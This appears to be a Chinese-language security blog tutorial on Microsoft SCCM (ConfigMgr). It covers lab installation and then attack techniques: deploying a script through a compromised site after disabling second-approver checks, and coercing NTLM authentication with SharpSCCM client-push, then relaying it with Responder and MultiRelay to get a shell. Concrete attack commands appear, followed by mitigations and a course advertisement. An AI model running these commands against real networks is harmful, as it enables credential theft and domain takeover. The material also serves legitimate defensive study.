01SCCM介绍
SCCM全名为System Center Configuration Manager,从版本1910开始,微软官方将其从Microsoft System
Center产品移除,重新命名为Microsoft Endpoint Configuration Manager(ConfigMgr),其可帮助 IT
部门管理电脑和服务器,保持软件的最新状态,设置配置和安全策略,并监控系统状态,同时让员工能够访问所选设备上的公司应用程序。
##02SCCM安装
SCCM下载:https://www.microsoft.com/zh-cn/evalcenter/evaluate-microsoft-endpoint-
configuration-manager
SCCM安装先决条件* SQLSERVER2012以上* 必须为域内服务器主机,SQLSERVER服务必须使用域内账户管理(普通域用户)* Windows ADK安装:https://docs.microsoft.com/zh-cn/windows-hardware/getstarted/adk-install#other-adk-downloads* 需修改SQLSERVER实例排序规则为SQL_Latin1_General_CP1_CI_AS,修改方法如下暂停SQLSERVER服务cd C:\Program Files\Microsoft SQL Server\110\Setup Bootstrap\SQLServer2012Setup /QUIET /ACTION=REBUILDDATABASE /instancename=mssqlserver /SQLSYSADMINACCOUNTS=PENTEST\administrator /sapwd= /sqlcollation=SQL_Latin1_General_CP1_CI_AS重启SQLSERVER服务* 15G以上的存储空间* 服务器需要安装Remote Differential Compression服务
##03SCCM攻击利用
对于SCCM攻击利用首先查看目标环境是否存在,可以从目标机器中查看是否存在CcmExec.exe程序和ConfigMgr任务序列代理服务,如果存在即目标机器为SCCM的客户端机器,目标环境存在SCCM管理站点。
通过使用SCCM推送恶意文件
利用SCCM软件分发功能,如果攻击者控制了管理站点就可以向客户端进行‘软件分发推送恶意文件。
从软件库中创建powershell脚本执行calc.exe。
创建如下,审批状态是已批准,只有已批准的软件或者脚本才可以下发客户端使用。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zqCJuyKC-1691676828077)(https://image.3001.net/images/20221102/1667379331_63623083aa9626b1265ad.png!small?1667379332344)]
默认情况下脚本创建作者是不可以审批自己的脚本,如果获取的是平台的完全权限管理员是可以从站点配置中进行修改,使自己审批自己创建的脚本。
通过在站点处层次结构设置中进行修改,取消勾选脚本编写者需要其他脚本审批者,这时在站点中就可以自己批准自己脚本。
通过客户端进行下发成功执行powershell脚本,在客户端机器中执行win32calc.exe。
通过SCCM强制进行NTLM认证
在客户端机器中使用SharpSCCM查询本地站点信息SharpSCCM.exe local siteinfo
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-deH7ceoS-1691676828078)(https://image.3001.net/images/20221102/1667381310_6362383e32c5863ab572c.png!small?1667381310584)]
MSSQL.pentest.com是管理站点地址,XOR是站点代码。
其原理是从wmi命名空间root\ccm去查询客户端注册相关信息,我们可以通过系统提供wbemtest(https://docs.microsoft.com/en-
us/mem/configmgr/develop/core/understand/introduction-to-
wbemtest)连接命名空间root\ccm枚举其中的类。
通过配置我们知道在环境中SCCM要对某个机器下发客户端安装需要通过WMI远程管理,使用配置的账户连接到目标主机的ADMIN$共享,这个配置账号必定是本地管理员组或者是Domain
Admins组用户才能在工作组或域环境中对目标机器进行连接下发安装。就如下图,在站点MSSQL.pentest.com中客户端安装设置中的客户端请求安装属性账户必须是目标计算机上本地管理员组成员。
知道了上面这点,围绕获取这个配置账户的权限又有了如下攻击利用方式,SharpSCCM作者Mayyhem发现当SCCM启用自动站点分配和自动客户端推送安装,并且客户端身份验证不需要PKI证书时,可以将NTLM身份验证从管理点的安装和计算机账户强制转换为任意NetBIOS名称、FQDN或IP地址,允许凭据转发或破解,并且可以在任何Windows
SCCM客户端上的低权限用户来完成。
也就是说通过SCCM进行强制NTLM验证有以下四个条件:* 必须启用边界组的自动站点分配、自动站点范围客户端请求安装和允许连接回退到NTLM(默认开启的)
客户端推送安装属性设置:
建立边界组并勾选将此边界组用于站点分配:
* 目标管理点必须能够通过445端口上的SMB访问或者启用WebClient通过任何端口的HTTP访问* PKI证书不能要求客户端对管理点进行身份验证,才能以低权限用户身份执行此攻击
通信安全设置:
* 目标机器上没有SCCM客户端存留
SharpSCCM使用SCCM客户端附带客户端消息传递SDK向管理点发送新设备注册请求,表明客户端未安装在指定的NetBIOS名称、FQDN或IP地址上,如果满足上述四个条件,管理站点将启动客户端推送安装,并使用配置账户与目标机器连接。
SharpSCCM使用推送命令如下,在站点中创建192.168.245.151机器:SharpSCCM.exe MSSQL.pentest.com XOR invoke client-push -t 192.168.245.151
此时在管理站点中就会发现创建了192.168.245.151机器
在151这台机器中使用responder(在配置文件中关闭SMB和HTTP接收开关)和MultiRelay设置中继服务器,并中继到133这台机器上
smb中继条件: SMB签名是关闭的python MultiRelay.py -t 192.168.245.133 -u ALLresponder -I eth0 -rPv
在使用SharpSCCM推送安装后151主机接收到NTLMv2 hash并中继给了133主机,133主机接收到中继的PENTEST\secadmin
NTLMv2 hash后弹回shell
如何防止SCCM强制进行NTLM认证这种攻击:* 禁用“允许连接回退到NTLM”客户端推送安装设置* 使用基于软件更新的客户端安装(https://docs.microsoft.com/en-us/mem/configmgr/core/clients/deploy/deploy-clients-to-windows-computers),而不是自动全站点客户端推送安装* 需要SMB签名,以防止中继凭据被用于向其他系统进行身份验证* 切勿使用高权限组的成员(域管理员)进行客户端推送安装,相反为此专门为每个站点创建一个没有交互式登录权限的账户,并将其添加到本地管理员组,做到对此账户的监控* 有条件的情况下设置PKI证书进行客户端的身份验证
最后
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取: